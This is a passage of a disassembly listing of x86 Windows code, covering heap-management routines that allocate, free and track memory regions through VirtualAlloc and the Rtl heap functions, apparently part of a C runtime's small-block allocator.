		and	[ebx+4], ecx
		jmp	short loc_419224
; ---------------------------------------------------------------------------


loc_419221:				; CODE XREF: sub_419011+1D6j
					; sub_419011+203j
		mov	ebx, [ebp+arg_0]


loc_419224:				; CODE XREF: sub_419011+1B0j
					; sub_419011+1E0j ...
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		cmp	[ebp+var_8], 0
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_4192D4
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[edx+4], edi
		mov	[edx+8], ecx
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_4192C5
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_0+3],	cl
		jge	short loc_419296
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_419284
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi


loc_419284:				; CODE XREF: sub_419011+266j
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_4192C5
; ---------------------------------------------------------------------------


loc_419296:				; CODE XREF: sub_419011+25Aj
		inc	cl
		cmp	byte ptr [ebp+arg_0+3],	0
		mov	[esi+eax+4], cl
		jnz	short loc_4192AF
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi


loc_4192AF:				; CODE XREF: sub_419011+28Fj
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi


loc_4192C5:				; CODE XREF: sub_419011+24Ej
					; sub_419011+283j
		mov	ecx, [ebp+var_8]


loc_4192C8:				; CODE XREF: sub_419011+1A4j
		test	ecx, ecx
		jz	short loc_4192D7
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_4192D7
; ---------------------------------------------------------------------------


loc_4192D4:				; CODE XREF: sub_419011+229j
		mov	ecx, [ebp+var_8]


loc_4192D7:				; CODE XREF: sub_419011+2B9j
					; sub_419011+2C1j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41930D
		cmp	ebx, dword_46D154
		jnz	short loc_41930D
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_46D14C
		jnz	short loc_41930D
		and	dword_46D154, 0


loc_41930D:				; CODE XREF: sub_419011+2E0j
					; sub_419011+2E8j ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]


loc_419315:				; CODE XREF: sub_419011+F0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419011	endp


; =============== S U B	R O U T	I N E =======================================



sub_41931A	proc near		; CODE XREF: sub_419011+CCp
		mov	eax, dword_46D158
		mov	ecx, dword_46D148
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, ecx
		jnz	short loc_41935D
		lea	eax, [ecx+ecx*4+50h]
		shl	eax, 2
		push	eax
		push	dword_46D15C
		push	edi
		push	dword_46D164
		call	dword_421160	; RtlReAllocateHeap
		cmp	eax, edi
		jz	short loc_4193AD
		add	dword_46D148, 10h
		mov	dword_46D15C, eax
		mov	eax, dword_46D158


loc_41935D:				; CODE XREF: sub_41931A+11j
		mov	ecx, dword_46D15C
		push	41C4h
		push	8
		lea	eax, [eax+eax*4]
		push	dword_46D164
		lea	esi, [ecx+eax*4]
		call	dword_42114C	; RtlAllocateHeap
		cmp	eax, edi
		mov	[esi+10h], eax
		jz	short loc_4193AD
		push	4
		push	2000h
		push	100000h
		push	edi
		call	dword_421180	; VirtualAlloc
		cmp	eax, edi
		mov	[esi+0Ch], eax
		jnz	short loc_4193B1
		push	dword ptr [esi+10h]
		push	edi
		push	dword_46D164
		call	dword_421150	; RtlFreeHeap


loc_4193AD:				; CODE XREF: sub_41931A+30j
					; sub_41931A+67j
		xor	eax, eax
		jmp	short loc_4193C8
; ---------------------------------------------------------------------------


loc_4193B1:				; CODE XREF: sub_41931A+81j
		or	dword ptr [esi+8], 0FFFFFFFFh
		mov	[esi], edi
		mov	[esi+4], edi
		inc	dword_46D158
		mov	eax, [esi+10h]
		or	dword ptr [eax], 0FFFFFFFFh
		mov	eax, esi


loc_4193C8:				; CODE XREF: sub_41931A+95j
		pop	edi
		pop	esi
		retn
sub_41931A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193CB	proc near		; CODE XREF: sub_419011+DBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, [ecx+10h]
		mov	eax, [ecx+8]
		xor	ebx, ebx


loc_4193DD:				; CODE XREF: sub_4193CB+19j
		test	eax, eax
		jl	short loc_4193E6
		shl	eax, 1
		inc	ebx
		jmp	short loc_4193DD
; ---------------------------------------------------------------------------


loc_4193E6:				; CODE XREF: sub_4193CB+14j
		mov	eax, ebx
		push	3Fh
		imul	eax, 204h
		pop	edx
		lea	eax, [eax+esi+144h]
		mov	[ebp+var_4], eax


loc_4193FB:				; CODE XREF: sub_4193CB+3Aj
		mov	[eax+8], eax
		mov	[eax+4], eax
		add	eax, 8
		dec	edx
		jnz	short loc_4193FB
		mov	edi, ebx
		push	4
		shl	edi, 0Fh
		add	edi, [ecx+0Ch]
		push	1000h
		push	8000h
		push	edi
		call	dword_421180	; VirtualAlloc
		test	eax, eax
		jnz	short loc_41942E
		or	eax, 0FFFFFFFFh
		jmp	loc_4194C1
; ---------------------------------------------------------------------------


loc_41942E:				; CODE XREF: sub_4193CB+59j
		lea	edx, [edi+7000h]
		cmp	edi, edx
		ja	short loc_419474
		lea	eax, [edi+10h]


loc_41943B:				; CODE XREF: sub_4193CB+A7j
		or	dword ptr [eax-8], 0FFFFFFFFh
		or	dword ptr [eax+0FECh], 0FFFFFFFFh
		lea	ecx, [eax+0FFCh]
		mov	dword ptr [eax-4], 0FF0h
		mov	[eax], ecx
		lea	ecx, [eax-1004h]
		mov	[eax+4], ecx
		mov	dword ptr [eax+0FE8h], 0FF0h
		add	eax, 1000h
		lea	ecx, [eax-10h]
		cmp	ecx, edx
		jbe	short loc_41943B


loc_419474:				; CODE XREF: sub_4193CB+6Bj
		mov	eax, [ebp+var_4]
		lea	ecx, [edi+0Ch]
		add	eax, 1F8h
		push	1
		pop	edi
		mov	[eax+4], ecx
		mov	[ecx+8], eax
		lea	ecx, [edx+0Ch]
		mov	[eax+8], ecx
		mov	[ecx+4], eax
		and	dword ptr [esi+ebx*4+44h], 0
		mov	[esi+ebx*4+0C4h], edi
		mov	al, [esi+43h]
		mov	cl, al
		inc	cl
		test	al, al
		mov	eax, [ebp+arg_0]
		mov	[esi+43h], cl
		jnz	short loc_4194B1
		or	[eax+4], edi


loc_4194B1:				; CODE XREF: sub_4193CB+E1j
		mov	edx, 80000000h
		mov	ecx, ebx
		shr	edx, cl
		not	edx
		and	[eax+8], edx
		mov	eax, ebx


loc_4194C1:				; CODE XREF: sub_4193CB+5Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4193CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4194C6	proc near		; CODE XREF: sub_41737F+6Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	edx, edi
		lea	esi, [eax+17h]
		sub	edx, [ecx+0Ch]
		mov	eax, [ecx+10h]
		and	esi, 0FFFFFFF0h
		shr	edx, 0Fh
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [edi-4]
		dec	ecx
		cmp	esi, ecx
		mov	[ebp+arg_8], ecx
		mov	ebx, [ecx+edi-4]
		lea	edi, [ecx+edi-4]
		mov	[ebp+var_4], ebx
		jle	loc_419674
		test	bl, 1
		jnz	loc_41966D
		add	ebx, ecx
		cmp	esi, ebx
		jg	loc_41966D
		mov	ecx, [ebp+var_4]
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 3Fh
		mov	[ebp+var_8], ecx
		jbe	short loc_41953D
		push	3Fh
		pop	ecx
		mov	[ebp+var_8], ecx


loc_41953D:				; CODE XREF: sub_4194C6+6Fj
		mov	ebx, [edi+4]
		cmp	ebx, [edi+8]
		jnz	short loc_41958D
		cmp	ecx, 20h
		jnb	short loc_419569
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41958D
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41958D
; ---------------------------------------------------------------------------


loc_419569:				; CODE XREF: sub_4194C6+82j
		add	ecx, 0FFFFFFE0h
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+var_8]
		lea	ecx, [ecx+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41958D
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41958D:				; CODE XREF: sub_4194C6+7Dj
					; sub_4194C6+9Aj ...
		mov	ecx, [edi+8]
		mov	ebx, [edi+4]
		mov	[ecx+4], ebx
		mov	ecx, [edi+4]
		mov	edi, [edi+8]
		mov	[ecx+8], edi
		mov	ecx, [ebp+arg_8]
		sub	ecx, esi
		add	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jle	loc_41965B
		mov	edi, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		sar	edi, 4
		dec	edi
		lea	ecx, [ecx+esi-4]
		cmp	edi, 3Fh
		jbe	short loc_4195C7
		push	3Fh
		pop	edi


loc_4195C7:				; CODE XREF: sub_4194C6+FCj
		mov	ebx, [ebp+var_C]
		lea	ebx, [ebx+edi*8]
		mov	[ebp+arg_8], ebx
		mov	ebx, [ebx+4]
		mov	[ecx+4], ebx
		mov	ebx, [ebp+arg_8]
		mov	[ecx+8], ebx
		mov	[ebx+4], ecx
		mov	ebx, [ecx+4]
		mov	[ebx+8], ecx
		mov	ebx, [ecx+4]
		cmp	ebx, [ecx+8]
		jnz	short loc_419649
		mov	cl, [edi+eax+4]
		cmp	edi, 20h
		mov	byte ptr [ebp+arg_8+3],	cl
		inc	cl
		mov	[edi+eax+4], cl
		jnb	short loc_419620
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419613
		mov	ebx, 80000000h
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_419613:				; CODE XREF: sub_4194C6+13Dj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, edi
		jmp	short loc_419645
; ---------------------------------------------------------------------------


loc_419620:				; CODE XREF: sub_4194C6+137j
		cmp	byte ptr [ebp+arg_8+3],	0
		jnz	short loc_419636
		lea	ecx, [edi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_419636:				; CODE XREF: sub_4194C6+15Ej
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [edi-20h]
		mov	edx, 80000000h


loc_419645:				; CODE XREF: sub_4194C6+158j
		shr	edx, cl
		or	[eax], edx


loc_419649:				; CODE XREF: sub_4194C6+125j
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		lea	eax, [edx+esi-4]
		mov	[eax], ecx
		mov	[ecx+eax-4], ecx
		jmp	short loc_41965E
; ---------------------------------------------------------------------------


loc_41965B:				; CODE XREF: sub_4194C6+E5j
		mov	edx, [ebp+arg_4]


loc_41965E:				; CODE XREF: sub_4194C6+193j
		lea	eax, [esi+1]
		mov	[edx-4], eax
		mov	[edx+esi-8], eax
		jmp	loc_4197B4
; ---------------------------------------------------------------------------


loc_41966D:				; CODE XREF: sub_4194C6+52j
					; sub_4194C6+5Cj
		xor	eax, eax
		jmp	loc_4197B7
; ---------------------------------------------------------------------------


loc_419674:				; CODE XREF: sub_4194C6+49j
		jge	loc_4197B4
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		mov	[ebp+arg_4], ebx
		sar	esi, 4
		dec	esi
		mov	[ebx-4], ecx
		cmp	esi, 3Fh
		jbe	short loc_41969F
		push	3Fh
		pop	esi


loc_41969F:				; CODE XREF: sub_4194C6+1D4j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41972E
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_4196B8
		push	3Fh
		pop	esi


loc_4196B8:				; CODE XREF: sub_4194C6+1EDj
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_419707
		cmp	esi, 20h
		jnb	short loc_4196E3
		mov	ebx, 80000000h
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_419704
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_419704
; ---------------------------------------------------------------------------


loc_4196E3:				; CODE XREF: sub_4194C6+1FDj
		lea	ecx, [esi-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_419704
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_419704:				; CODE XREF: sub_4194C6+214j
					; sub_4194C6+21Bj ...
		mov	ebx, [ebp+arg_4]


loc_419707:				; CODE XREF: sub_4194C6+1F8j
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	ecx, [edi+4]
		mov	esi, [edi+8]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41972E
		push	3Fh
		pop	esi


loc_41972E:				; CODE XREF: sub_4194C6+1DDj
					; sub_4194C6+263j
		mov	ecx, [ebp+var_C]
		mov	edi, [ecx+esi*8+4]
		lea	ecx, [ecx+esi*8]
		mov	[ebx+4], edi
		mov	[ebx+8], ecx
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_4197AB
		mov	cl, [esi+eax+4]
		cmp	esi, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[esi+eax+4], cl
		jnb	short loc_419782
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419775
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi


loc_419775:				; CODE XREF: sub_4194C6+29Fj
		lea	eax, [eax+edx*4+44h]
		mov	edx, 80000000h
		mov	ecx, esi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------


loc_419782:				; CODE XREF: sub_4194C6+299j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_419798
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi


loc_419798:				; CODE XREF: sub_4194C6+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_4197A7:				; CODE XREF: sub_4194C6+2BAj
		shr	edx, cl
		or	[eax], edx


loc_4197AB:				; CODE XREF: sub_4194C6+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_4197B4:				; CODE XREF: sub_4194C6+1A2j
					; sub_4194C6:loc_419674j
		push	1
		pop	eax


loc_4197B7:				; CODE XREF: sub_4194C6+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4194C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197BC	proc near		; CODE XREF: sub_418C18+41p
					; sub_419AB4:loc_419C83p
		cmp	dword_438620, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_4197D0
		mov	esi, offset off_438610
		jmp	short loc_4197ED
; ---------------------------------------------------------------------------


loc_4197D0:				; CODE XREF: sub_4197BC+Bj
		push	2020h
		push	0
		push	dword_46D164
		call	dword_42114C	; RtlAllocateHeap
		mov	esi, eax
		test	esi, esi
		jz	loc_4198F9


loc_4197ED:				; CODE XREF: sub_4197BC+12j
		mov	ebp, dword_421180
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp	; VirtualAlloc
		mov	edi, eax
		test	edi, edi
		jz	loc_4198E2
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp	; VirtualAlloc
		test	eax, eax
		jz	loc_4198D4
		mov	eax, offset off_438610
		cmp	esi, eax
		jnz	short loc_41984C
		cmp	off_438610, 0
		jnz	short loc_41983C
		mov	off_438610, eax


loc_41983C:				; CODE XREF: sub_4197BC+79j
		cmp	off_438614, 0
		jnz	short loc_419861
		mov	off_438614, eax
		jmp	short loc_419861
; ---------------------------------------------------------------------------


loc_41984C:				; CODE XREF: sub_4197BC+70j
		mov	[esi], eax
		mov	eax, off_438614
		mov	[esi+4], eax
		mov	off_438614, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_419861:				; CODE XREF: sub_4197BC+87j
					; sub_4197BC+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_419883:				; CODE XREF: sub_4197BC+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_419883
		push	ebx
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch


loc_4198AC:				; CODE XREF: sub_4197BC+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_4198D0
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_4198AC
; ---------------------------------------------------------------------------


loc_4198D0:				; CODE XREF: sub_4197BC+F7j
		mov	eax, esi
		jmp	short loc_4198FB
; ---------------------------------------------------------------------------


loc_4198D4:				; CODE XREF: sub_4197BC+63j
		push	8000h
		push	0
		push	edi
		call	dword_42117C	; VirtualFree


loc_4198E2:				; CODE XREF: sub_4197BC+4Bj
		cmp	esi, offset off_438610
		jz	short loc_4198F9
		push	esi
		push	0
		push	dword_46D164
		call	dword_421150	; RtlFreeHeap


loc_4198F9:				; CODE XREF: sub_4197BC+2Bj
					; sub_4197BC+12Cj
		xor	eax, eax


loc_4198FB:				; CODE XREF: sub_4197BC+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4197BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_419900	proc near		; CODE XREF: sub_419956+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		call	dword_42117C	; VirtualFree
		cmp	off_43A630, esi
		jnz	short loc_419925
		mov	eax, [esi+4]
		mov	off_43A630, eax


loc_419925:				; CODE XREF: sub_419900+1Bj
		cmp	esi, offset off_438610
		jz	short loc_41994D
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_46D164
		call	dword_421150	; RtlFreeHeap
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41994D:				; CODE XREF: sub_419900+2Bj
		or	dword_438620, 0FFFFFFFFh
		pop	esi
		retn
sub_419900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419956	proc near		; CODE XREF: sub_419A6F+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_438614
		push	edi


loc_419963:				; CODE XREF: sub_419956+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_419A01
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41997C:				; CODE XREF: sub_419956+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_4199BD
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	dword_42117C	; VirtualFree
		test	eax, eax
		jz	short loc_4199BD
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_46BB6C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_4199B2
		cmp	eax, edi
		jbe	short loc_4199B5


loc_4199B2:				; CODE XREF: sub_419956+56j
		mov	[esi+0Ch], edi


loc_4199B5:				; CODE XREF: sub_419956+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_4199CA


loc_4199BD:				; CODE XREF: sub_419956+2Cj
					; sub_419956+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41997C


loc_4199CA:				; CODE XREF: sub_419956+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_419A01
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_419A01
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_4199E1:				; CODE XREF: sub_419956+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4199F2
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_4199E1


loc_4199F2:				; CODE XREF: sub_419956+8Ej
		cmp	edx, 400h
		jnz	short loc_419A01
		push	ecx
		call	sub_419900
		pop	ecx


loc_419A01:				; CODE XREF: sub_419956+11j
					; sub_419956+7Dj ...
		cmp	esi, off_438614
		jz	short loc_419A13
		cmp	[ebp+arg_0], 0
		jg	loc_419963


loc_419A13:				; CODE XREF: sub_419956+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419956	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A18	proc near		; CODE XREF: sub_415C9B+3Ap
					; sub_41737F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_438610
		push	esi
		mov	ecx, edx


loc_419A24:				; CODE XREF: sub_419A18+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_419A2E
		cmp	eax, [ecx+14h]
		jb	short loc_419A36


loc_419A2E:				; CODE XREF: sub_419A18+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_419A6B
		jmp	short loc_419A24
; ---------------------------------------------------------------------------


loc_419A36:				; CODE XREF: sub_419A18+14j
		test	al, 0Fh
		jnz	short loc_419A6B
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_419A6B
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_419A6B:				; CODE XREF: sub_419A18+1Aj
					; sub_419A18+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_419A18	endp


; =============== S U B	R O U T	I N E =======================================



sub_419A6F	proc near		; CODE XREF: sub_415C9B+4Dp
					; sub_41737F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_419AB3
		inc	dword_46BB6C
		cmp	dword_46BB6C, 20h
		jnz	short locret_419AB3
		push	10h
		call	sub_419956
		pop	ecx

locret_419AB3:				; CODE XREF: sub_419A6F+2Bj
					; sub_419A6F+3Aj
		retn
sub_419A6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AB4	proc near		; CODE XREF: sub_415C27+4Ap
					; sub_41737F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43A630
		push	edi


loc_419AC2:				; CODE XREF: sub_419AB4+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_419B6D
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_419B27


loc_419AED:				; CODE XREF: sub_419AB4+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_419B10
		cmp	[edi+4], ebx
		jbe	short loc_419B10
		push	ebx
		push	ecx
		push	eax
		call	sub_419CBC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419B7F
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_419B10:				; CODE XREF: sub_419AB4+40j
					; sub_419AB4+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_419AED
		jmp	short loc_419B2A
; ---------------------------------------------------------------------------


loc_419B27:				; CODE XREF: sub_419AB4+37j
		mov	ebx, [ebp+arg_0]


loc_419B2A:				; CODE XREF: sub_419AB4+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_419B70


loc_419B3D:				; CODE XREF: sub_419AB4+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_419B5C
		cmp	[edi+4], ebx
		jbe	short loc_419B5C
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_419CBC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_419B7F
		mov	[edi+4], ebx


loc_419B5C:				; CODE XREF: sub_419AB4+8Dj
					; sub_419AB4+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_419B3D
		jmp	short loc_419B70
; ---------------------------------------------------------------------------


loc_419B6D:				; CODE XREF: sub_419AB4+14j
		mov	ebx, [ebp+arg_0]


loc_419B70:				; CODE XREF: sub_419AB4+87j
					; sub_419AB4+B7j
		mov	esi, [esi]
		cmp	esi, off_43A630
		jz	short loc_419B8F
		jmp	loc_419AC2
; ---------------------------------------------------------------------------


loc_419B7F:				; CODE XREF: sub_419AB4+54j
					; sub_419AB4+A3j
		mov	off_43A630, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_419CB7
; ---------------------------------------------------------------------------


loc_419B8F:				; CODE XREF: sub_419AB4+C4j
		mov	eax, offset off_438610
		mov	edi, eax


loc_419B96:				; CODE XREF: sub_419AB4+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_419BA2
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_419BAE


loc_419BA2:				; CODE XREF: sub_419AB4+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_419C83
		jmp	short loc_419B96
; ---------------------------------------------------------------------------


loc_419BAE:				; CODE XREF: sub_419AB4+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
